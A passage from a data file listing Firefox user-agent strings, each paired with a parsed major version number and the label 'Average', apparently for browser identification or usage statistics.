Firefox/56.0,56,Average\nMozilla/5.0 (Windows NT 6.3; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0,55,Average\nMozilla/5.0 (X11; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0,49,Average\nMozilla/5.0 (Windows NT 10.0; rv:48.0) Gecko/20100101 Firefox/48.0,48,Average\nMozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:26.0) Gecko/20100101 Firefox/26.0,26,Average\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:25.0) Gecko/20100101 Firefox/25.0,25,Average\nMozilla/5.0 (Windows NT 6.1; Win64; x64; rv:43.0) Gecko/20100101 Firefox/43.0,43,Average\nMozilla/5.0 (Windows NT 6.3; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0,38,Average\nMozilla/5.0 (Windows NT 6.2; WOW64; rv:20.0) Gecko/20100101 Firefox/20.0,20,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:36.0) Gecko/20100101 Firefox/36.0,36,Average\nMozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:59.0) Gecko/20100101 Firefox/59.0,59,Average\nMozilla/5.0 (Windows NT 10.0; WOW64; rv:59.0) Gecko/20100101 Firefox/59.0,59,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:59.0) Gecko/20100101 Firefox/59.0,59,Average\nMozilla/5.0 (Windows NT 6.3; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0,37,Average\nMozilla/5.0 (Windows NT 6.1; Win64; x64; rv:51.0) Gecko/20100101 Firefox/51.0,51,Average\nMozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0,5,Average\nMozilla/5.0 (Windows NT 6.1; Win64; x64; rv:46.0) Gecko/20100101 Firefox/46.0,46,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:39.0) Gecko/20100101 Firefox/39.0,39,Average\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.28) Gecko/20120306 Firefox/3.6.28,3.6,Average\nMozilla/5.0 (Windows NT 6.1; Win64; x64; rv:48.0) Gecko/20100101 Firefox/48.0,48,Average\nMozilla/5.0 (Windows NT 10.0; rv:52.0) Gecko/20100101 Firefox/52.0,52,Average\nMozilla/5.0 (Windows NT 5.1; rv:14.0) Gecko/20100101 Firefox/14.0.1,14,Average\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB6 (.NET CLR 3.5.30729),3.6,Average\nMozilla/5.0 (Windows NT 6.0; rv:41.0) Gecko/20100101 Firefox/41.0,41,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:41.0) Gecko/20100101 Firefox/41.0,41,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:56.0) Gecko/20100101 Firefox/56.0,56,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:35.0) Gecko/20100101 Firefox/35.0,35,Average\nMozilla/5.0 (Windows NT 10.0; rv:51.0) Gecko/20100101 Firefox/51.0,51,Average\nMozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.2.8;baidu Transcoder) Gecko/20100722 Firefox/3.6.8 ( .NET CLR 3.5.30729),3.6,Average\nMozilla/5.0 (Windows NT 6.2; WOW64; rv:26.0) Gecko/20100101 Firefox/26.0,26,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:34.0) Gecko/20100101 Firefox/34.0,34,Average\nMozilla/5.0 (Windows NT 10.0; rv:57.0) Gecko/20100101 Firefox/57.0,57,Average\nMozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0,32,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:36.0) Gecko/20100101 Firefox/36.0,36,Average\nMozilla/5.0 (X11; Linux x86_64; rv:59.0) Gecko/20100101 Firefox/59.0,59,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:36.0) Gecko/20100101 Firefox/36.0,36,Average\nMozilla/5.0 (Android 7.0; Mobile; rv:57.0) Gecko/57.0 Firefox/57.0,57,Average\nMozilla/5.0 (Windows NT 6.1; rv:14.0) Gecko/20100101 Firefox/14.0.1,14,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:46.0) Gecko/20100101 Firefox/46.0,46,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:42.0) Gecko/20100101 Firefox/42.0,42,Average\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 GTB5,3.5,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:39.0) Gecko/20100101 Firefox/39.0,39,Average\nMozilla/5.0 (X11; Linux i686; rv:29.0) Gecko/20100101 Firefox/29.0,29,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:58.0) Gecko/20100101 Firefox/58.0,58,Average\nMozilla/5.0 (Windows NT 6.3; rv:41.0) Gecko/20100101 Firefox/41.0,41,Average\nMozilla/5.0 (X11; Linux x86_64; rv:43.0) Gecko/20100101 Firefox/43.0,43,Average\nMozilla/5.0 (Windows NT 6.0; rv:44.0) Gecko/20100101 Firefox/44.0,44,Average\nMozilla/5.0 (Android 4.4.2; Mobile; rv:48.0) Gecko/48.0 Firefox/48.0,48,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:37.0) Gecko/20100101 Firefox/37.0,37,Average\nMozilla/5.0 (Android 7.1.2; Mobile; rv:55.0) Gecko/55.0 Firefox/55.0,55,Average\nMozilla/5.0 (Windows NT 10.0; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0,39,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:55.0) Gecko/20100101 Firefox/55.0,55,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:47.0) Gecko/20100101 Firefox/47.0,47,Average\nMozilla/5.0 (Windows NT 6.1; rv:11.0) Gecko/20100101 Firefox/11.0,11,Average\nMozilla/5.0 ((Windows; U; Windows NT 6.1; fr; rv:1.9.2) Gecko/20100115 Firefox/3.6),3.6,Average\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1,9,Average\nFireFox 4,4,Average\nMozilla/5.0 (X11; Linux x86_64; rv:45.0; Rigor) Gecko/20100101 Firefox/45.0,45,Average\nMozilla/5.0 (Windows NT 10.0; rv:58.0) Gecko/20100101 Firefox/58.0,58,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:18.0) Gecko/20100101 Firefox/18.0,18,Average\nMozilla/5.0 (X11; Linux i686; rv:17.0) Gecko/20100101 Firefox/17.0,17,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:41.0) Gecko/20100101 Firefox/41.0,41,Average\nMozilla/5.0 (X11; Linux i686; rv:38.0) Gecko/20100101 Firefox/38.0,38,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:52.0) Gecko/20100101 Firefox/52.0,52,Average\nMozilla/5.0 (Windows NT 5.1; rv:39.0) Gecko/20100101 Firefox/39.0,39,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:42.0) Gecko/20100101 Firefox/42.0,42,Average\nMozilla/5.0 (Windows NT 5.1; rv:11.0) Gecko/20100101 Firefox/11.0,11,Average\nMozilla/5.0 (X11; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0,47,Average\nFireFox 5,5,Average\nMozilla/5.0 (Windows NT 10.0; rv:56.0) Gecko/20100101 Firefox/56.0,56,Average\nMozilla/5.0 (Windows NT 6.2; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0,43,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:35.0) Gecko/20100101 Firefox/35.0,35,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:40.0) Gecko/20100101 Firefox/40.0,40,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:37.0) Gecko/20100101 Firefox/37.0,37,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:20.0) Gecko/20100101 Firefox/20.0,20,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:54.0) Gecko/20100101 Firefox/54.0,54,Average\nMozilla/5.0 (Windows NT 6.2; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0,45,Average\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:10.0.2) Gecko/20100101 Firefox/10.0.2,10,Average\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:59.0) Gecko/20100101 Firefox/59.0,59,Average\nMozilla/5.0 (Windows NT 10.0; rv:54.0) Gecko/20100101 Firefox/54.0,54,Average\nMozilla/5.0 (Windows NT 10.0; rv:46.0) Gecko/20100101 Firefox/46.0,46,Average\nMozilla/5.0 (X11; Ubuntu; Linux i686; rv:34.0) Gecko/20100101 Firefox/34.0,34,Average\nMozilla/5.0 (Windows NT 5.1; rv:36.0) Gecko/20100101 Firefox/36.0,36,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:51.0) Gecko/20100101 Firefox/51.0,51,Average\nMozilla/5.0 (Windows NT 6.1; Win64; x64; rv:44.0) Gecko/20100101 Firefox/44.0,44,Average\nMozilla/5.0 (X11; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0,48,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:37.0) Gecko/20100101 Firefox/37.0,37,Average\nMozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0.1,13,Average\nMozilla/5.0 Gecko/20100401 Firefox/3.6.3,3.6,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:43.0) Gecko/20100101 Firefox/43.0,43,Average\nMozilla/5.0 (Windows NT 10.0; Win64; x64; rv:44.0) Gecko/20100101 Firefox/44.0,44,Average\nMozilla/5.0 (X11; Linux x86_64; rv:46.0) Gecko/20100101 Firefox/46.0,46,Average\nMozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:39.0) Gecko/20100101 Firefox/39.0,39,Average\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:7.0.1) Gecko/20100101 Firefox/7.0.1,7,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:45.0) Gecko/20100101 Firefox/45.0,45,Average\nMozilla/5.0 (Windows NT 6.0; rv:51.0) Gecko/20100101 Firefox/51.0,51,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:37.0) Gecko/20100101 Firefox/37.0,37,Average\nMozilla/5.0 (X11; Ubuntu; Linux i686; rv:47.0) Gecko/20100101 Firefox/47.0,47,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:19.0) Gecko/20100101 Firefox/19.0,19,Average\nMozilla/5.0 (X11; Linux x86_64; rv:42.0) Gecko/20100101 Firefox/42.0,42,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:34.0) Gecko/20100101 Firefox/34.0,34,Average\nMozilla/5.0 (Android 6.0.1; Mobile; rv:57.0) Gecko/57.0 Firefox/57.0,57,Average\nMozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0,25,Average\nMozilla/5.0 (Windows NT 10.0; rv:44.0) Gecko/20100101 Firefox/44.0,44,Average\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 CovarioCSE/4.0.0,3.6,Average\nMozilla/5.0 (X11; Fedora; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0,53,Average\nMozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:35.0) Gecko/20100101 Firefox/35.0,35,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:36.0) Gecko/20100101 Firefox/36.0,36,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:45.0) Gecko/20100101 Firefox/45.0,45,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:58.0) Gecko/20100101 Firefox/58.0,58,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:38.0) Gecko/20100101 Firefox/38.0,38,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:56.0) Gecko/20100101 Firefox/56.0,56,Average\nMozilla/5.0 (Windows NT 6.0; rv:46.0) Gecko/20100101 Firefox/46.0,46,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:57.0) Gecko/20100101 Firefox/57.0,57,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:49.0) Gecko/20100101 Firefox/49.0,49,Average\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0,32,Average\nMozilla/5.0 (Windows NT 6.1; rv:10.0.2) Gecko/20100101 Firefox/10.0.2,10,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/--.0,,Average\nMozilla/5.0 (Windows NT 10.0; rv:43.0) Gecko/20100101 Firefox/43.0,43,Average\nMozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:21.0) Gecko/20130331 Firefox/21.0,21,Average\nMozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1,9,Average\nMozilla/5.0 (Windows NT 6.0; rv:19.0) Gecko/20100101 Firefox/19.0,19,Average\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0,24,Average\nMozilla/5.0 (Windows NT 6.2; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0,34,Average\nMozilla/5.0 (X11; Ubuntu; Linux i686; rv:44.0) Gecko/20100101 Firefox/44.0,44,Average\nMozilla/5.0 (Windows NT 6.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0,45,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:20.0) Gecko/20100101 Firefox/20.0,20,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0,21,Average\nMozilla/5.0 (Mobile; LYF/F90M/LYF-F90M-000-02-28-130318; Android; rv:48.0) Gecko/48.0 Firefox/48.0 KAIOS/2.0,48,Average\nMozilla/5.0 (Windows NT 5.1; rv:8.0) Gecko/20100101 Firefox/8.0,8,Average\nMozilla/5.0 (X11; Ubuntu; Linux i686; rv:55.0) Gecko/20100101 Firefox/55.0,55,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:18.0) Gecko/20100101 Firefox/18.0,18,Average\nMozilla/5.0 (Android 5.1.1; Mobile; rv:50.0) Gecko/50.0 Firefox/50.0,50,Average\nMozilla/5.0 (X11; Ubuntu; Linux i686; rv:45.0) Gecko/20100101 Firefox/45.0,45,Average\nMozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.9) Gecko/2009042113 Ubuntu/9.04 (jaunty) Firefox/3.0.9,3,Average\nMozilla/5.0 (Windows NT 5.1; rv:37.0) Gecko/20100101 Firefox/37.0,37,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:40.0) Gecko/20100101 Firefox/40.0,40,Average\nMozilla/5.0 (Windows NT 6.2; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0,35,Average\nMozilla/5.0 (Windows NT 6.0; rv:16.0) Firefox/13.0,13,Average\nMozilla/5.0 (X11; Linux x86_64; rv:41.0) Gecko/20100101 Firefox/41.0,41,Average\nMozilla/5.0 (Windows NT 6.0; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0,40,Average\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:28.0) Gecko/20100101 Firefox/28.0,28,Average\nMozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0,17,Average\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0  Windows 7 x64 EditionWindows 7 x64,32,Average\nMozilla/5.0 (Windows NT 6.2; rv:38.0) Gecko/20100101 Firefox/38.0,38,Average\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0,13,Average\nMozilla/5.0 (Android 6.0.1; Mobile; rv:50.0) Gecko/50.0 Firefox/50.0,50,Average\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.16) Gecko/20110323 Ubuntu/10.10 (maverick) Firefox/3.6.16,3.6,Average\nMozilla/5.0 (Windows NT 6.1; rv:33.0) Gecko/20100101 Firefox/33.0,33,Average\nMozilla/5.0 (Windows NT 6.3; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0,45,Average\nMozilla/5.0 (X11; Linux x86_64; rv:10.0.12) Gecko/20100101 Firefox/21.0 WordPress.com mShots,21,Average\nMozilla/5.0 (X11; Linux x86_64; rv:40.0) Gecko/20100101 Firefox/40.0,40,Average\nMozilla/5.0 (Windows NT 10.0; rv:55.0) Gecko/20100101 Firefox/55.0,55,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:43.0) Gecko/20100101 Firefox/43.0,43,Average\nMozilla/5.0 (Windows NT 6.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1,9,Average\nMozilla/5.0 (X11; Ubuntu; Linux i686; rv:43.0) Gecko/20100101 Firefox/43.0,43,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.5; rv:12.0) Gecko/20100101 Firefox/12.0,12,Average\nMozilla/5.0 (X11; Ubuntu; Linux i686; rv:50.0) Gecko/20100101 Firefox/50.0,50,Average\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0,21,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:47.0) Gecko/20100101 Firefox/47.0,47,Average\nMozilla/5.0 (Windows NT 6.2; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0,57,Average\nMozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3,3.5,Average\nMozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0,52,Average\nMozilla/5.0 (Android 7.0; Mobile; rv:58.0) Gecko/58.0 Firefox/58.0,58,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:44.0) Gecko/20100101 Firefox/44.0,44,Average\nMozilla/5.0 (Windows NT 6.1; rv:29.0) Gecko/20100101 Firefox/29.0,29,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:55.0) Gecko/20100101 Firefox/55.0,55,Average\nMozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.2.13) Gecko/20110412 Cunaguaro/3.6.13+14 (like Firefox/3.6.13+14),3.6,Average\nMozilla/5.0 (FreeBSD; Viera; rv:34.0) Gecko/20100101 Firefox/34.0,34,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:47.0) Gecko/20100101 Firefox/47.0,47,Average\nMozilla/5.0 (X11; Fedora; Linux x86_64; rv:44.0) Gecko/20100101 Firefox/44.0,44,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:56.0) Gecko/20100101 Firefox/56.0,56,Average\nMozilla/5.0 (X11; Ubuntu; Linux i686; rv:41.0) Gecko/20100101 Firefox/41.0,41,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:48.0) Gecko/20100101 Firefox/48.0,48,Average\nMozilla/5.0 (Mobile; ALCATELOneTouch4019A; rv:28.0) Gecko/28.0 Firefox/28.0,28,Average\nMozilla/5.0 (Windows NT 6.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1,4,Average\nMozilla/5.0 (Android; Tablet; rv:40.0) Gecko/40.0 Firefox/40.0,40,Average\nMozilla/5.0 (Windows NT 6.2; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0,18,Average\nMozilla/5.0 (Windows NT 5.1; rv:22.0) Gecko/20100101 Firefox/22.0 Paros/3.2.13,22,Average\nMozilla/5.0 (Mobile; LYF/F90M/LYF-F90M-000-02-26-310118; Android; rv:48.0) Gecko/48.0 Firefox/48.0 KAIOS/2.0,48,Average\nMozilla/5.0 (Windows NT 10.0; Win64; x64; rv:42.0) Gecko/20100101 Firefox/42.0,42,Average\nMozilla/5.0 (Windows NT 5.1; rv:10.0.2) Gecko/20100101 Firefox/10.0.2,10,Average\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:8.0.1) Gecko/20100101 Firefox/8.0.1,8,Average\nMozilla/5.0 (Windows NT 6.3; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0,57,Average\nMozilla/5.0 (X11; Ubuntu; Linux i686; rv:42.0) Gecko/20100101 Firefox/42.0,42,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:19.0) Gecko/20100101 Firefox/19.0,19,Average\nMozilla/5.0 (X11; Ubuntu; Linux i686; rv:11.0) Gecko/20100101 Firefox/11.0,11,Average\nMozilla/5.0 (X11; Ubuntu; Linux i686; rv:49.0) Gecko/20100101 Firefox/49.0,49,Average\nMozilla/5.0 (X11; Ubuntu; Linux i686; rv:48.0) Gecko/20100101 Firefox/48.0,48,Average\nMozilla/5.0 (Windows NT 6.3; Win64; x64; rv:54.0) Gecko/20100101 Firefox/54.0,54,Average\nMozilla/5.0 (Android 4.4.2; Mobile; rv:45.0) Gecko/45.0 Firefox/45.0,45,Average\nMozilla/5.0 (Mobile; LYF/F90M/LYF-F90M-000-02-23-181217; Android; rv:48.0) Gecko/48.0 Firefox/48.0 KAIOS/2.0,48,Average\nMozilla/5.0 (Windows NT 6.2; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0,51,Average\nMozilla/5.0 (X11; Ubuntu; Linux i686; rv:46.0) Gecko/20100101 Firefox/46.0,46,Average\nMozilla/5.0 (Windows NT 6.1; rv:30.0) Gecko/20100101 Firefox/30.0,30,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:59.0) Gecko/20100101 Firefox/59.0,59,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:42.0) Gecko/20100101 Firefox/42.0,42,Average\nMozilla/5.0 (Windows NT 6.2; WOW64; rv:42.0) Gecko/20100101 Firefox/42.0,42,Average\nMozilla/5.0 (Windows NT 6.2; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0,40,Average\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:x.x.x) Gecko/20041107 Firefox/x.x,,Average\nMozilla/5.0 (Windows NT 6.3; Win64; x64; rv:53.0) Gecko/20100101 Firefox/53.0,53,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0,50,Average\nMozilla/5.0 (Android 6.0.1; Mobile; rv:49.0) Gecko/49.0 Firefox/49.0,49,Average\nMozilla/5.0 (Windows NT 6.0; rv:18.0) Gecko/20100101 Firefox/18.0,18,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:52.0) Gecko/20100101 Firefox/52.0,52,Average\nMozilla/5.0 (Windows NT 6.3; Win64; x64; rv:44.0) Gecko/20100101 Firefox/44.0,44,Average\nMozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0,60,Average\nMozilla/5.0 (Windows NT 6.0; WOW64; rv:42.0) Gecko/20100101 Firefox/42.0,42,Average\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:10.0) Gecko/20100101 Firefox/10.0,10,Average\nMozilla/5.0 (X11; Ubuntu; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0,52,Average\nMozilla/5.0 (Windows NT 5.1; rv:32.0) Gecko/20100101 Firefox/32.0,32,Average\nMozilla/5.0 (Android 5.1.1; Mobile; rv:48.0) Gecko/48.0 Firefox/48.0,48,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:41.0) Gecko/20100101 Firefox/41.0,41,Average\nMozilla/5.0 (X11; Ubuntu; Linux i686; rv:40.0) Gecko/20100101 Firefox/40.0,40,Average\nMozilla/5.0 (X11; Linux x86_64; rv:36.0) Gecko/20100101 Firefox/36.0,36,Average\nMozilla/5.0 (Windows NT 6.2; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0,58,Average\nMozilla/5.0 (X11; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0,18,Average\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0,22,Average\nMozilla/5.0 (Android 6.0.1; Mobile; rv:48.0) Gecko/48.0 Firefox/48.0,48,Average\nMozilla/5.0 (Windows NT 6.1; rv:2.0) Gecko/20100101 Firefox/4.0,4,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:45.0) Gecko/20100101 Firefox/45.0,45,Average\nMozilla/5.0 (Android 6.0.1; Mobile; rv:51.0) Gecko/51.0 Firefox/51.0,51,Average\nMozilla/5.0 (Windows NT 6.3; rv:45.0) Gecko/20100101 Firefox/45.0,45,Average\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:15.0) Gecko/20100101 Firefox/15.0.1,15,Average\nMozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b13pre) Gecko/20110307 Firefox/4.0b13pre,4,Average\nMozilla/5.0 (Android 5.1.1; Mobile; rv:45.0) Gecko/45.0 Firefox/45.0,45,Average\nMozilla/5.0 (Windows NT 6.0; rv:12.0) Gecko/20100101 Firefox/12.0,12,Average\nMozilla/5.0 (Windows NT 5.1; rv:33.0) Gecko/20100101 Firefox/33.0,33,Average\nMozilla/5.0 (Android 5.1.1; Mobile; rv:44.0) Gecko/44.0 Firefox/44.0,44,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:44.0) Gecko/20100101 Firefox/44.0,44,Average\nMozilla/5.0 (Windows NT 10.0; rv:42.0) Gecko/20100101 Firefox/42.0,42,Average\nMozilla/5.0 (X11; Ubuntu; Linux i686; rv:54.0) Gecko/20100101 Firefox/54.0,54,Average\nMozilla/5.0 (X11; Linux i686; rv:8.0) Gecko/20100101 Firefox/8.0 Cunaguaro/8.0,8,Average\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:10.0.1) Gecko/20100101 Firefox/10.0.1,10,Average\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:8.0) Gecko/20100101 Firefox/8.0,8,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:41.0) Gecko/20100101 Firefox/41.0,41,Average\nMozilla/5.0 (Windows NT 6.2; rv:40.0) Gecko/20100101 Firefox/40.0,40,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:47.0) Gecko/20100101 Firefox/47.0,47,Average\nMozilla/5.0 (Windows NT 10.0; rv:41.0) Gecko/20100101 Firefox/41.0,41,Average\nMozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0,38,Average\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729),3.5,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:39.0) Gecko/20100101 Firefox/39.0,39,Average\nMozilla/5.0 (Windows NT 6.3; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0,47,Average\nMozilla/5.0 (Windows NT 6.3; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0 AlexaToolbar/alxf-2.21,34,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:18.0) Gecko/20100101 Firefox/18.0,18,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:58.0) Gecko/20100101 Firefox/58.0,58,Average\nMozilla/5.0 (X11; Ubuntu; Linux i686; rv:20.0) Gecko/20100101 Firefox/20.0,20,Average\nMozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:19.0) Gecko/20100101 Firefox/19.0,19,Average\nMozilla/5.0 (Windows NT 6.3; Win64; x64; rv:43.0) Gecko/20100101 Firefox/43.0,43,Average\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8,3.6,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:43.0) Gecko/20100101 Firefox/43.0,43,Average\nMozilla/5.0 (X11; Ubuntu; Linux i686; rv:56.0) Gecko/20100101 Firefox/56.0,56,Average\nMozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0,33,Average\nMozilla/5.0 (Android 7.0; Mobile; rv:56.0) Gecko/56.0 Firefox/56.0,56,Average\nMozilla/5.0 (Windows NT 6.2; rv:36.0) Gecko/20100101 Firefox/36.0,36,Average\nMozilla/5.0 (Windows NT 6.3; rv:57.0) Gecko/20100101 Firefox/57.0,57,Average\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:45.0) Gecko/20100101 Firefox/45.0,45,Average\nMozilla/5.0 (Mobile; LYF/F81E/LYF_F81E_000_01_15_211217;Android; rv:48.0) Gecko/48.0 Firefox/48.0 KAIOS/2.0,48,Average\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6 (FlipboardProxy/1.1; +http://flipboard.com/browserproxy),3.6,Average\nMozilla/5.0 (Windows NT 6.1; rv:12.0) 